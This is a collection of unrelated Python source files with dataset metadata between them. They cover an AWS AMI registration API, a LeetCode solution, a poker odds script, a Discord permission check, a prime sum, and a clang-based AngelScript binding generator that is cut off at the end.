###################################################################################################################### # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # # # # Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance # # with the License. A copy of the License is located at # # # # http://www.apache.org/licenses/LICENSE-2.0 # # # # or in the 'license' file accompanying this file. This file is distributed on an 'AS IS' BASIS, WITHOUT WARRANTIES # # OR CONDITIONS OF ANY KIND, express or implied. See the License for the specific language governing permissions # # and limitations under the License. # ###################################################################################################################### import config from flask_restful import Resource, reqparse import logging from decorators import admin_api, restricted_api, private_api import botocore import datetime from models import db, AmiList import boto3 import errors from sqlalchemy import exc from sqlalchemy.exc import SQLAlchemyError logger = logging.getLogger("api") session = boto3.session.Session() aws_region = session.region_name ec2_client = boto3.client('ec2', aws_region, config=config.boto_extra_config()) def get_ami_info(): ami_info = {} for session_info in AmiList.query.filter_by(is_active=True).all(): ami_info[session_info.ami_label] = session_info.ami_id return ami_info class ManageImage(Resource): @admin_api def post(self): """ Register a new EC2 AMI as DCV image on SOCA --- tags: - DCV parameters: - in: body name: body schema: required: - os - ami_id - ami_label - root_size properties: ami_id: type: string description: EC2 ID of the AMI os: type: string description: Windows or Linux ami_label: type: string description: Friendly name for your image root_size: type: string description: Minimum size of your EC2 AMI responses: 200: description: Pair of user/token is valid 401: description: Invalid user/token pair """ parser = reqparse.RequestParser() parser.add_argument('ami_id', type=str, location='form') parser.add_argument('os', type=str, location='form') parser.add_argument('ami_label', type=str, location='form') parser.add_argument('root_size', type=str, location='form') args = parser.parse_args() ami_id = args["ami_id"] ami_label = str(args["ami_label"]) os = args["os"] if args["os"] is None or args["ami_label"] is None or args["ami_id"] is None or args["root_size"] is None: return errors.all_errors('CLIENT_MISSING_PARAMETER', "os (str), ami_id (str), ami_label (str) and root_size (str) are required.") if args["os"].lower() not in ["centos7", "rhel7", "amazonlinux2", "windows"]: return errors.all_errors('CLIENT_MISSING_PARAMETER', "os must be centos7, rhel7, amazonlinux2, or windows") try: root_size = int(args["root_size"]) except ValueError: return errors.all_errors('IMAGE_REGISTER_ERROR', f"{root_size} must be a valid integer") soca_labels = get_ami_info() # Register AMI to SOCA if ami_label not in soca_labels.keys(): try: ec2_response = ec2_client.describe_images(ImageIds=[ami_id], Filters=[{'Name': 'state', 'Values': ['available']}]) if (len(ec2_response["Images"]) != 0): new_ami = AmiList(ami_id=ami_id, ami_type=os.lower(), ami_label=ami_label, is_active=True, ami_root_disk_size=root_size, created_on=datetime.datetime.utcnow()) try: db.session.add(new_ami) db.session.commit() return {"success": True, "message": f"{ami_id} registered successfully in SOCA as {ami_label}"}, 200 except SQLAlchemyError as e: db.session.rollback() logger.error(f"Failed Creating AMI {ami_label} {ami_id} {e}") return errors.all_errors('IMAGE_REGISTER_ERROR', f"{ami_id} registration not successful") else: logger.error(f"{ami_id} is not available in AWS account") return errors.all_errors('IMAGE_REGISTER_ERROR', f"{ami_id} is not available in AWS account. If you just created it, make sure the state of the image is 'available' on the AWS console") except botocore.exceptions.ClientError as error: logger.error(f"Failed Creating AMI {ami_label} {ami_id} {error}") return errors.all_errors('IMAGE_REGISTER_ERROR', f"{ami_id} Couldn't locate {ami_id} in AWS account. Make sure you do have permission to view it") else: logger.error(f"Label already in use {ami_label}") return errors.all_errors('IMAGE_REGISTER_ERROR', f"Label {ami_label} already in use. Please enter a unique label") @admin_api def delete(self): """ Delete an EC2 AMI registered as DCV image on SOCA --- tags: - DCV parameters: - in: body name: body schema: required: - ami_label properties: ami_label: type: string description: Friendly name for your image responses: 200: description: Pair of user/token is valid 401: description: Invalid user/token pair """ parser = reqparse.RequestParser() parser.add_argument('ami_label', type=str, location='form') args = parser.parse_args() if args["ami_label"] is None: return errors.all_errors('CLIENT_MISSING_PARAMETER', "ami_label (str) is required.") check_session = AmiList.query.filter_by(ami_label=args["ami_label"], is_active=True).first() if check_session: check_session.is_active = False check_session.deactivated_on = datetime.datetime.utcnow() try: db.session.commit() logger.info(f"AMI Label {args['ami_label']} deleted from SOCA") return {"success": True, "message": f"{args['ami_label']} deleted from SOCA successfully"}, 200 except exc.SQLAlchemyError as e: db.session.rollback() logger.error(f"AMI Label {args['ami_label']} delete failed {e}") return errors.all_errors('IMAGE_DELETE_ERROR', f"{args['ami_label']} could not have been deleted because of {e}") else: return errors.all_errors('IMAGE_DELETE_ERROR', f"{args['ami_label']} could not be found")

45.655367

205

0.516891

862

8,081

4.684455

0.25522

0.059435

0.037147

0.052006

0.418029

0.381129

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0.324418

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0

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8,081

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45.655367

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0.022222

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0.122222

0

0.311111

0

null

0

null

0

1

0

75bb6e08d53656c02653379a24d3bf7833708bba

807

py

Python

Day 5/python/main.py

BenBMoore/leetcode-challenges

97359abbeb24daf8cc33fe2bf1d5748ac824aab4

[ "MIT" ]

null

Day 5/python/main.py

BenBMoore/leetcode-challenges

97359abbeb24daf8cc33fe2bf1d5748ac824aab4

[ "MIT" ]

null

Day 5/python/main.py

BenBMoore/leetcode-challenges

97359abbeb24daf8cc33fe2bf1d5748ac824aab4

[ "MIT" ]

null

import argparse from typing import List class Solution: def max_profit(self, prices: List[int]) -> int: best_profit = 0 for idx in range(0, len(prices) - 1): # If the price is not greater, then "sell at the peak", else buy/hold if prices[idx + 1] > prices[idx]: best_profit += prices[idx + 1] - prices[idx] return best_profit def main(): parser = argparse.ArgumentParser(description='Process some integers.') parser.add_argument('integers', metavar='N', type=int, nargs='+', help='An integer for processing by the happy number process') args = parser.parse_args() number = args.integers max_sum = Solution().max_sub_array(number) print(max_sum) if __name__ == "__main__": main()

27.827586

85

0.619579

106

807

4.54717

0.584906

0.074689

0.041494

0.06639

0.078838

0

0.00846

0.267658

807

28

86

28.821429

0.807107

0.083024

0

0.126016

0

1

0.105263

false

0

0.105263

0

0.315789

0.052632

0

null

0

null

0

1

0

75bdd147dbc8647c0747f11af9d4431656daa233

947

py

Python

ex2.py

timwuu/AnaPoker

7cb125c4639a5cd557a6b45c92b5793dcc39def8

[ "MIT" ]

null

ex2.py

timwuu/AnaPoker

7cb125c4639a5cd557a6b45c92b5793dcc39def8

[ "MIT" ]

null

ex2.py

timwuu/AnaPoker

7cb125c4639a5cd557a6b45c92b5793dcc39def8

[ "MIT" ]

null

import calcWinRate as cwr def pp( a, b, table, k): result = cwr.calc_win_rate( a, b, table, k) print( "{} vs {} with {}".format( cwr.card_lst(a), cwr.card_lst(b), cwr.card_lst(table))) print( "{:2.2%} vs {:2.2%}\n".format(result[0], result[1])) k= 10000 # simulate k times # --- example 0 --- # --- 1-draw straight vs 4-card flush player_a = [51,43] #AQ player_b = [52,48] #AKs table_cards = [47,40,28] #K,J,8 pp( player_a, player_b, table_cards, k) # --- straight vs 4-card flush player_a = [51,43] #AQ player_b = [52,48] #AKs table_cards = [47,40,28,33] #K,J,8,T pp( player_a, player_b, table_cards, k) # --- straight vs three of kind player_a = [51,43] #AQ player_b = [47,46] #KK table_cards = [48,40,26,33] #K,J,8,T pp( player_a, player_b, table_cards, k) # --- straight vs two pairs player_a = [51,43] #AQ player_b = [47,39] #KJs table_cards = [48,40,26,33] #K,J,8,T pp( player_a, player_b, table_cards, k)

22.023256

93

0.62302

185

947

3.032432

0.308108

0.099822

0.064171

0.078431

0.620321

0.541889

0

0.104381

0.18057

947

42

94

22.547619

0.618557

0.211193

0

0.545455

0

0.049451

0

1

0.045455

false

0

0.045455

0

0.090909

0

null

0

null

0

1

0

75bf78052e28e2d4673d9f69709a11b7958bfff3

1,085

py

Python

Utils/Permission.py

koi312500/Koi_Bot_Discord

9d7a70f42cdb1110e6382125ade39d3aec21b3b9

[ "MIT" ]

null

Utils/Permission.py

koi312500/Koi_Bot_Discord

9d7a70f42cdb1110e6382125ade39d3aec21b3b9

[ "MIT" ]

1

2021-06-23T01:16:36.000Z

Utils/Permission.py

koi312500/Koi_Bot_Discord

9d7a70f42cdb1110e6382125ade39d3aec21b3b9

[ "MIT" ]

null

import discord from discord.ext import commands from Utils.UserClass import UserClass as User permission_message = ["Guest [Permission Level : 0]", "User [Permission Level : 1]", "Developer [Permission Level : 2]", "Owner [Permission Level : 3]"] async def check_permission(ctx, level): now_user = User(ctx.author) if now_user.permission >= level: return False else: embed = discord.Embed(title=f"User Permission Error", color=0xff0000) embed.set_footer(text = "Sented by Koi_Bot#4999ㆍUser Permission Error") if now_user.permission == 0 and level == 1: embed.add_field(name = "Suggestion", value = "/accept_term으로 약관 동의를 하시면, 'User [Permission Level : 1]' 권한을 얻어, 이 명령어를 실행 하실 수 있습니다.", inline = False) embed.add_field(name = "Your Permission", value = f"{str(permission_message[int(now_user.permission)])}", inline = True) embed.add_field(name = "Command Executable Permission", value = f"{str(permission_message[int(level)])}", inline = True) await ctx.respond(embed=embed) return True

57.105263

161

0.682028

145

1,085

5.006897

0.489655

0.134986

0.078512

0.070248

0.107438

0

0.018412

0.199078

1,085

19

162

57.105263

0.817031

0

0.058824

0.37477

0.081031

0

0.007366

0

1

0

false

0

0.176471

0

0.294118

0

null

0

null

0

1

0

75bfcbaef981a9d2b8f3eecff56d9741a7a40637

436

py

Python

10.py

seanmanson/euler

b01418cf44c1113a0c574b5158aa5b89d725cca2

[ "MIT" ]

null

10.py

seanmanson/euler

b01418cf44c1113a0c574b5158aa5b89d725cca2

[ "MIT" ]

null

10.py

seanmanson/euler

b01418cf44c1113a0c574b5158aa5b89d725cca2

[ "MIT" ]

null

import math test = [] def testPrime(num): sq = int(math.sqrt(num)) for i, factor in enumerate(test): if (i > sq): break if (num % factor == 0): return False test.append(num) return True sumPrimes = 2 for i in range(3, 2000000, 2): if not testPrime(i): continue sumPrimes+=i if (i % 10000 == 1): print("progress : ", i, sumPrimes) print (sumPrimes)

18.166667

42

0.538991

58

436

4.051724

0.551724

0.034043

0

0.058621

0.334862

436

23

43

18.956522

0.751724

0

0.025229

0

1

0.052632

false

0

0.052632

0

0.210526

0.105263

0

null

0

null

0

1

0

75c33edb1fb71d6cd1c893b5ce0674035ed9e6dd

37,403

py

Python

clangelscript.py

gwihlidal/Clangelscript

e83f77d78bf57c25f67922b65aad2f8e74ce2699

[ "MIT" ]

1

2019-06-21T06:37:16.000Z

clangelscript.py

gwihlidal/clangelscript

e83f77d78bf57c25f67922b65aad2f8e74ce2699

[ "MIT" ]

null

clangelscript.py

gwihlidal/clangelscript

e83f77d78bf57c25f67922b65aad2f8e74ce2699

[ "MIT" ]

null

import sys import re import json import os.path import copy from mako.template import Template from clang import cindex configfile = "clangelscript.json" f = open(configfile) data = f.read() data = re.sub(r"//[^n]*n", "\n", data) config = json.loads(data) f.close() if "ObjectTypes" in config: arr = config["ObjectTypes"] config["ObjectTypes"] = {} for name in arr: config["ObjectTypes"][re.compile(name)] = arr[name] def get(name, default=None, conf=config): if name in conf: return conf[name] else: return default fir = get("FileIncludeRegex", None) fer = get("FileExcludeRegex", None) mir = get("MethodIncludeRegex", None) mer = get("MethodExcludeRegex", None) oir = get("ObjectIncludeRegex", None) oer = get("ObjectExcludeRegex", None) mfir = get("FieldIncludeRegex", None) mfer = get("FieldExcludeRegex", None) generic_regex = get("GenericWrapperRegex", None) maahr = get("MethodArgumentAutoHandleRegex", None) mrahr = get("MethodReturnAutoHandleRegex", None) fir = re.compile(fir) if fir else fir fer = re.compile(fer) if fer else fer mir = re.compile(mir) if mir else mir mer = re.compile(mer) if mer else mer oir = re.compile(oir) if oir else oir oer = re.compile(oer) if oer else oer mfir = re.compile(mfir) if mfir else mfir mfer = re.compile(mfer) if mfer else mfer maahr = re.compile(maahr) if maahr else maahr mrahr = re.compile(mrahr) if mrahr else mrahr generic_regex = re.compile(generic_regex) if generic_regex else generic_regex verbose = get("Verbose", False) doassert = get("Assert", True) keep_unknowns = get("KeepUnknowns", False) output_filename = get("OutputFile", None) funcname = get("FunctionName", "registerScripting") generic_wrappers = [] index = cindex.Index.create() clang_args = get("ClangArguments", []) #clang_args.insert(0, "-I%s/clang/include" % os.path.dirname(os.path.abspath(__file__))) new_args = [] for arg in clang_args: new_args.append(arg.replace("${ConfigFilePath}", os.path.dirname(os.path.abspath(configfile)))) clang_args = new_args tu = index.parse(None, clang_args, [], 13) warn_count = 0 def logWarning(msg): global warn_count warn_count += 1 if verbose: sys.stderr.write(msg + "\n") def get_type(type, cursor=None): pointer = type.kind == cindex.TypeKind.POINTER typename = "" ref = type.kind == cindex.TypeKind.LVALUEREFERENCE if type.kind == cindex.TypeKind.TYPEDEF or type.kind == cindex.TypeKind.RECORD or type.kind == cindex.TypeKind.ENUM: typename = type.get_declaration() elif pointer or ref: t2 = type.get_pointee() typename = t2.get_declaration() if typename is None or typename.kind.is_invalid(): typename = get_type(t2) elif type.kind == cindex.TypeKind.ULONG: typename = "unsigned long" elif type.kind == cindex.TypeKind.UINT: typename = "unsigned int" elif type.kind == cindex.TypeKind.USHORT: typename = "unsigned short" elif type.kind == cindex.TypeKind.CONSTANTARRAY: if cursor is None: raise Exception("Constant array, but cursor not provided so can't solve the type") typename = get_type(type.get_array_element_type()) else: typename = type.kind.name.lower() if typename is None: raise Exception("Typename was None %s" % type.kind) elif isinstance(typename, cindex.Cursor): if typename.spelling == None: raise Exception("Typename was None %s" % type.kind) fullname = [typename.spelling] cursor = typename.lexical_parent while not cursor is None and (cursor.kind == cindex.CursorKind.NAMESPACE or cursor.kind == cindex.CursorKind.CLASS_DECL): fullname.insert(0, cursor.displayname) cursor = cursor.lexical_parent typename = "::".join(fullname) elif typename == "unexposed": raise Exception("Typename is unexposed") return "%s%s" % (typename, "*" if pointer else "&" if ref else "") def is_int(literal): try: i = int(literal) return True except: try: i = int(literal, 16) return True except: pass return False objecttype_scoreboard = {} def add_use(typename): val = (0, 0) p = 0 if "*" in typename: p = 1 typename = typename[:-1] if typename in objecttype_scoreboard: val = objecttype_scoreboard[typename] objecttype_scoreboard[typename] = (val[0]+p, val[1]+1-p) typedef = {} def get_real_type(name): ptr = "*" in name ref = "&" in name if ptr or ref: name = name[:-1] while name in typedef: name = typedef[name] if ptr: return name + "*" if ref: return name + "&" return name def is_const(cursor): #tokens = cindex.tokenize(tu, cursor.extent) tokens = list(cindex.TokenGroup.get_tokens(tu, cursor.extent)) for token in tokens: if token.spelling == "const": return True return False as_builtins = { "unsigned long": "uint64", "unsigned int": "uint", "unsigned short": "uint16", "unsigned char": "uint8", "long": "int64", "void": "void", "double": "double", "float": "float", "char": "int8", "short": "int16", "int": "int", "long": "int64", "bool": "bool" } def get_as_type(name): ptr = "*" in name ref = "&" in name name = name.replace("*", "").replace("&", "") if name in as_builtins: if ptr: raise Exception("Built-in value type %s used as a reference type" % (as_builtins[name])) name = as_builtins[name] return "%s%s%s" % (name, "@" if ptr else "", "&" if ref else "") class Type: def __init__(self, kind): typename = get_type(kind) self.cname = typename typename = get_real_type(typename) self.resolved = typename add_use(typename) self.const = kind.is_const_qualified() get_as_type(self.resolved) def __repr__(self): return self.cname def get_as_type(self): as_type = None if "ObjectTypes" in config: for regex in config["ObjectTypes"]: if regex.search(self.cname) != None: conf = config["ObjectTypes"][regex] if "AngelScriptType" in conf: as_type = regex.sub(conf["AngelScriptType"], self.cname) break if as_type == None: as_type = get_as_type(self.resolved) return "%s%s" % ("const " if self.const else "", as_type) def is_known(self): name = self.resolved.replace("*", "").replace("&", "") if name in objecttypes: return True if name in as_builtins: return True if "ObjectTypes" in config: for regex in config["ObjectTypes"]: if regex.search(self.cname) != None: return True return False def get_c_type(self): return "%s%s" % ("const " if self.const else "", self.cname) def is_reference_type(name): if "ObjectTypes" in config: for regex in config["ObjectTypes"]: if regex.search(name) and "Reference" in config["ObjectTypes"][regex]: return config["ObjectTypes"][regex]["Reference"] if name in objecttypes: ot = objecttypes[name] for p in ot.parents: v = is_reference_type(p) if not v is None: return v if name in objecttype_scoreboard: score = objecttype_scoreboard[name] return score[0] > score[1] return None operatornamedict = { "-operator": "opNeg", "~operator": "opCom", "++operator": "opPreInc", "--operator": "opPreDec", "operator==": "opEquals", #"operator!=": "opEquals", "operator<": "opCmp", # "operator<=": "opCmp", # "operator>": "opCmp", # "operator>=": "opCmp", "operator++": "opPostInc", "operator--": "opPostDec", "operator+": "opAdd", "operator-": "opSub", "operator*": "opMul", "operator/": "opDiv", "operator%": "opMod", "operator&": "opAnd", "operator|": "opOr", "operator^": "opXor", "operator<<": "opShl", "operator>>": "opShr", "operator>>>": "opUShr", "operator[]": "opIndex", "operator=": "opAssign", "operator+=": "opAddAssign", "operator-=": "opSubAssign", "operator*=": "opMulAssign", "operator/=": "opDivAssign", "operator%=": "opModAssign", "operator&=": "opAndAssign", "operator|=": "opOrAssign", "operator^=": "opXorAssign", "operator<<=": "opShlAssign", "operator>>=": "opShrAssign", "operator>>>=": "opUShrAssign", } class Function(object): def __init__(self, cursor, clazz=None, behaviour=None): self.args = [] if cursor is None: return children = list(cursor.get_children()) for child in children: if child.kind == cindex.CursorKind.PARM_DECL: t = Type(child.type) t.const = is_const(child) self.args.append(t) self.name = cursor.spelling self.return_type = Type(cursor.result_type) self.clazz = clazz self.const = False self.behaviour = behaviour if self.clazz and not behaviour: start = cursor.extent.start end = cursor.extent.end i = 0 while i < len(children): if children[i].kind == cindex.CursorKind.PARM_DECL: start = children[i].extent.end if children[i].kind == cindex.CursorKind.COMPOUND_STMT: if i > 0: start = children[i-1].extent.end end = children[i].extent.start break i += 1 if i == len(children): break start = children[i-1].extent.end r = cindex.SourceRange.from_locations(start, end) f = open(cursor.location.file.name) f.seek(start.offset) length = end.offset-start.offset data = f.read(length) f.close() self.const = re.search(r"\s*const\s*(=\s*0)?$", data) != None if len(children) > 0 and children[0].kind != cindex.CursorKind.PARM_DECL: f = open(cursor.location.file.name) f.seek(cursor.extent.start.offset) length = children[0].extent.start.offset-cursor.extent.start.offset data = f.read(length) f.close() data = re.sub(r"%s.*" % self.name, "", data) self.return_type.const = re.search(r"\s*const\s*$", data) != None self.asname() if mir or mer: pn = self.pretty_name() if mer and mer.search(pn): raise Exception("Function matches exclusion pattern. %s" % pn) if mir and not mir.search(pn): raise Exception("Function does not match inclusion pattern. %s" % pn) def uses(self, typename): if self.return_type.resolved == typename: return True for t in self.args: if t.resolved == typename: return True return False def pretty_name(self): cargs = ", ".join([t.get_c_type() for t in self.args]) if self.clazz: return "%s %s::%s(%s)" % (self.return_type, self.clazz, self.name, cargs) else: return "%s %s(%s)" % (self.return_type, self.name, cargs) def asname(self): name = self.name if "operator" in name: if name not in operatornamedict: raise Exception("Operator not supported in AngelScript %s" % self.pretty_name()) name = operatornamedict[name] asargs = [] auto_handle_args = False auto_handle_return = False if maahr and maahr.search(self.pretty_name()) != None: auto_handle_args = True if mrahr and mrahr.search(self.pretty_name()) != None: auto_handle_return = True for a in self.args: asname = a.get_as_type() ref = "&" in asname if ref: asname2 = get_as_type(a.resolved)[:-1] extra = "" if not is_reference_type(asname2): # Value types can only be in or out references. Defaulting to in asname += "in" if "@" in asname and auto_handle_args: asname2 = asname[:-1] add = True if asname2 in objecttypes: ot = objecttypes[asname2] if "asOBJ_NOCOUNT" in ot.get_flags(): add = False if add: asname += "+" asargs.append(asname) asargs = ", ".join(asargs) if self.behaviour == "asBEHAVE_CONSTRUCT" or self.behaviour == "asBEHAVE_FACTORY": name = "void f(%s)" % (asargs) if is_reference_type(self.clazz): add = auto_handle_return if self.clazz in objecttypes: ot = objecttypes[self.clazz] if "asOBJ_NOCOUNT" in ot.get_flags(): add = False name = "%s@%s %s(%s)" % (self.clazz, "+" if add else "", self.clazz, asargs) self.behaviour = "asBEHAVE_FACTORY" elif self.behaviour == "asBEHAVE_DESTRUCT": name = "void f()" else: asname = self.return_type.get_as_type() if "@" in asname and auto_handle_return: asname2 = asname[:-1] add = True if asname2 in objecttypes: ot = objecttypes[asname2] if "asOBJ_NOCOUNT" in ot.get_flags(): add = False if add: asname += "+" name = "%s %s(%s)" % (asname, name, asargs) if self.clazz and self.const: name += " const" return name def get_generic(self): lut = { "double": "Double", "float": "Float", "uint": "DWord", "int": "DWord", "uint16": "Word", "int16": "Word", "uint8": "Byte", "int8": "Byte", "bool": "Byte" } name = self.name if "operator" in name: name = operatornamedict[name] name = name.replace("~", "tilde") + "_generic" for arg in self.args: name += "_" + arg.get_c_type().replace("&", "amp").replace("*", "star").replace(" ", "space").replace(":", "colon") if self.clazz: name = self.clazz + "_" + name func = "void %s(asIScriptGeneric *gen)\n{\n" % name asret = self.return_type.get_as_type() call = "%s(" % self.name if self.clazz: if is_reference_type(self.clazz) and self.behaviour == "asBEHAVE_CONSTRUCT": self.behaviour = "asBEHAVE_FACTORY" if self.behaviour == "asBEHAVE_FACTORY": call = "gen->SetReturnAddress(new %s(" % (self.name) elif self.behaviour == "asBEHAVE_CONSTRUCT": call = "new(gen->GetObject()) %s(" % self.name else: call = "static_cast<%s*>(gen->GetObject())->%s" % (self.clazz, call) for i in range(len(self.args)): if i > 0: call += ", " arg = self.args[i] t = arg.get_as_type() if t in lut: call += "gen->GetArg%s(%d)" % (lut[t], i) else: ct = arg.get_c_type() pt = "*" in ct star = "*" if not pt else "" if "&" in ct: call += "%sstatic_cast<%s%s>(gen->GetArgAddress(%d))" % (star, arg.get_c_type().replace("&", ""), star, i) else: call += "%sstatic_cast<%s%s>(gen->GetArgObject(%d))" % (star, arg.get_c_type(), star, i) call += ")" if self.behaviour == "asBEHAVE_FACTORY": call += ")" asret2 = asret.replace("const ", "").strip() if asret2 in lut: func += "\tgen->SetReturn%s(%s);\n" % (lut[asret2], call) elif asret == "void": func += "\t" + call + ";\n" else: ct = self.return_type.get_c_type() pt = "*" in ct star = "*" if not pt else "" if pt: func += "\tgen->SetReturnAddress(%s);\n" % (call) elif "&" in ct: func += "\tgen->SetReturnAddress((void*)&%s);\n" % (call) else: func += "\t" + self.return_type.get_c_type().replace("&", "").replace("const ", "") + " ret = %s;\n" % call func += "\tgen->SetReturnObject(&ret);\n" #func += "\t" + self.return_type.get_c_type() + " ret = %s;\n" % call #func += "\tnew(gen->GetAddressOfReturnLocation()) %s(ret);\n" % self.return_type.get_c_type().replace("&", "") func += "}\n" if func not in generic_wrappers: generic_wrappers.append(func) return "asFUNCTION(%s), asCALL_GENERIC" % (name) def get_register_string(self): global generic_wrappers cargs = ", ".join([at.get_c_type() for at in self.args]) if self.clazz == None: callconv = "asCALL_CDECL" call = "asFUNCTIONPR(%s, (%s), %s), %s" % (self.name, cargs, self.return_type.get_c_type(), callconv) if generic_regex and generic_regex.search(self.pretty_name()): call = self.get_generic() return _assert("engine->RegisterGlobalFunction(\"%s\", %s)" % (self.asname(), call)) else: const = " const" if self.const else "" call = "asMETHODPR(%s, %s, (%s)%s, %s), asCALL_THISCALL" % (self.clazz, self.name, cargs, const, self.return_type.get_c_type()) if (generic_regex and generic_regex.search(self.pretty_name())) or \ self.behaviour == "asBEHAVE_CONSTRUCT" or \ self.behaviour == "asBEHAVE_DESTRUCT" or \ self.behaviour == "asBEHAVE_FACTORY": call = self.get_generic() if self.behaviour == None: return _assert("engine->RegisterObjectMethod(\"%s\", \"%s\", %s)" % (self.clazz, self.asname(), call)) else: name = self.asname() return _assert("engine->RegisterObjectBehaviour(\"%s\", %s, \"%s\", %s)" % (self.clazz, self.behaviour, name, call)) def is_pure_virtual(cursor): # TODO: Use iterator here children = list(cursor.get_children()) start = cursor.extent.start end = cursor.extent.end while len(children) != 0: child = children[-1] children = list(child.get_children()) start = child.extent.end f = open(cursor.location.file.name) f.seek(start.offset) length = end.offset-start.offset data = f.read(length) f.close() return re.search(r"=\s*0\s*$", data) != None objectindex = 0 class ObjectType: def add_field(self, children, array): for child in children: if child.kind == cindex.CursorKind.CXX_BASE_SPECIFIER: self.add_fields(child.get_reference().get_children(), array) if child.kind == cindex.CursorKind.FIELD_DECL: array.append(child) def __init__(self, cursor, children, name): global objectindex self.cursor = cursor self.name = name self.flags = {"asOBJ_APP_CLASS": True} fields = [] self.parents = [] self.index = objectindex objectindex += 1 self.has_pure_virtuals = False access = cindex.AccessSpecifier.PRIVATE if cursor.kind == cindex.CursorKind.CLASS_DECL else cindex.AccessSpecifier.PUBLIC idx = access.from_param; for child in children: if child.kind == cindex.CursorKind.CXX_BASE_SPECIFIER: c = child.get_resolved_cursor() parentname = c.spelling if parentname in objecttypes: ot = objecttypes[parentname] self.parents.extend(ot.parents) self.parents.append(parentname) toadd = [] for om in objectmethods: if om.clazz == parentname: f = copy.deepcopy(om) f.clazz = self.name toadd.append(f) objectmethods.extend(toadd) toadd = [] for of in objectfields: if of.clazz == parentname: f = copy.deepcopy(of) f.clazz = self.name toadd.append(f) objectfields.extend(toadd) continue if child.kind == cindex.CursorKind.CXX_ACCESS_SPEC_DECL: access = child.access_specifier continue if not access == cindex.AccessSpecifier.PUBLIC: continue if child.kind == cindex.CursorKind.CXX_METHOD: if child.spelling == "operator=": self.flags["asOBJ_APP_CLASS_ASSIGNMENT"] = True if child.is_static_method(): # TODO logWarning("Skipping member method %s::%s as it's static" % (self.name, child.spelling)) continue try: objectmethods.append(Function(child, self.name)) except Exception as e: logWarning("Skipping member method %s::%s - %s" % (self.name, child.spelling, e)) if is_pure_virtual(child): self.has_pure_virtuals = True elif child.kind == cindex.CursorKind.CONSTRUCTOR: self.flags["asOBJ_APP_CLASS_CONSTRUCTOR"] = True try: f = Function(child, self.name, "asBEHAVE_CONSTRUCT") behaviours.append(f) except Exception as e: logWarning("Skipping constructor %s::%s - %s" % (self.name, child.spelling, e)) elif child.kind == cindex.CursorKind.DESTRUCTOR: self.flags["asOBJ_APP_CLASS_DESTRUCTOR"] = True try: f = Function(child, self.name, "asBEHAVE_DESTRUCT") behaviours.append(f) except Exception as e: logWarning("Skipping destructor %s::%s - %s" % (self.name, child.spelling, e)) elif child.kind == cindex.CursorKind.FIELD_DECL: try: type = Type(child.type) objectfields.append(ObjectField(self.name, child.spelling, type)) except Exception as e: logWarning("Skipping member field %s::%s - %s" % (self.name, child.spelling, e)) elif child.kind == cindex.CursorKind.TYPEDEF_DECL: name, kind = get_typedef(child) if name: typedef[name] = kind logWarning("Typedefs within classes are not supported by AngelScript") else: logWarning("Unhandled cursor: %s, %s" % (child.displayname, child.kind)) if "asOBJ_APP_CLASS_DESTRUCTOR" not in self.flags: self.flags["asOBJ_POD"] = True self.add_field(children, fields) if len(fields): try: child = fields.pop(0) t = get_real_type(get_type(child.type, child)) allEqual = True for field in fields: t2 = get_real_type(get_type(field.type, field)) if t2 != t: break if allEqual: if t == "float": self.flags["asOBJ_APP_CLASS_ALLFLOATS"] = True elif t == "int" or t == "unsigned int": self.flags["asOBJ_APP_CLASS_ALLINTS"] = True else: logWarning("%s does not have all fields of equal type. Trying ALLINTS anyway" % (self.name, t)) self.flags["asOBJ_APP_CLASS_ALLINTS"] = True except: pass def get_flags(self): flags = [] if is_reference_type(self.name) else list(self.flags) if "ObjectTypes" in config: for regex in config["ObjectTypes"]: if regex.search(self.name): conf = config["ObjectTypes"][regex] if "Flags" in conf: flags = conf["Flags"] if "ExtraFlags" in conf: flags.extend(conf["ExtraFlags"]) if not is_reference_type(self.name): if "asOBJ_NOCOUNT" in flags: flags.remove("asOBJ_NOCOUNT") return flags def get_register_string(self): flags = self.get_flags() f = "%s%s%s" % ("asOBJ_REF" if is_reference_type(self.name) else "asOBJ_VALUE", "|" if len(flags) else "", "|".join(flags)) if not is_reference_type(self.name): return _assert("engine->RegisterObjectType(\"%s\", sizeof(%s), %s)" % (self.name, self.name, f)) ret = _assert("engine->RegisterObjectType(\"%s\", 0, %s)" % (self.name, f)) for parent in self.parents: extra = "_nocount" if "asOBJ_NOCOUNT" in flags else "" ret += "\n\t" + _assert("engine->RegisterObjectBehaviour(\"%s\", asBEHAVE_REF_CAST, \"%s@ f()\", asFUNCTION((refCast%s<%s,%s>)), asCALL_CDECL_OBJLAST)" % (parent, self.name, extra, parent, self.name)) ret += "\n\t" + _assert("engine->RegisterObjectBehaviour(\"%s\", asBEHAVE_IMPLICIT_REF_CAST, \"%s@ f()\", asFUNCTION((refCast%s<%s,%s>)), asCALL_CDECL_OBJLAST)" % (self.name, parent, extra, self.name, parent)) if not "asOBJ_NOCOUNT" in flags: f = Function(None) f.name = "AddRef" f.clazz = self.name f.const = False t = cindex.Type(cindex.TypeKind.VOID.from_param()) f.behaviour = "asBEHAVE_ADDREF" f.return_type = Type(t) behaviours.append(f) f = copy.deepcopy(f) f.name = "DelRef" f.behaviour = "asBEHAVE_RELEASE" behaviours.append(f) return ret class ObjectField: def __init__(self, clazz, name, type): self.clazz = clazz self.name = name self.type = type pn = self.pretty_name() if mfer and mfer.search(pn): raise Exception("Matches exclude pattern") if mfir and not mfir.search(pn): raise Exception("Doesn't match include pattern") def uses(self, typename): return self.type.resolved == typename def pretty_name(self): return "%s %s::%s" % (self.type, self.clazz, self.name) def get_register_string(self): return _assert("engine->RegisterObjectProperty(\"%s\", \"%s %s\", asOFFSET(%s,%s))" % (self.clazz, self.type, self.name, self.clazz, self.name)) typedefs = [] enums = [] objecttypes = {} functions = [] objectmethods = [] objectfields = [] includes = [] behaviours = [] def _assert(line): if doassert: return "RegisterVerifyAPI(%s);" % line else: return "%s;" % line def get_typedef(cursor): #tokens = cindex.tokenize(tu, cursor.extent) tokens = list(cindex.TokenGroup.get_tokens(tu, cursor.extent)) good = True if len(tokens) >= 4: for x in tokens[1:-2]: if x.kind != cindex.TokenKind.IDENTIFIER and x.kind != cindex.TokenKind.KEYWORD: good = False break else: good = False if good: kind = " ".join([t.spelling for t in tokens[1:len(tokens)-2]]) name = tokens[len(tokens)-2].spelling else: data = "" for token in tokens: data += token.spelling + " " return None, data return name, kind def add_include(filename): if not filename in includes and filename.endswith(".h"): includes.append(filename) def walk(cursor): global typedefs global enums global objecttypes global functions global objectmethods for child in cursor.get_children(): if not child.location.file: continue filename = 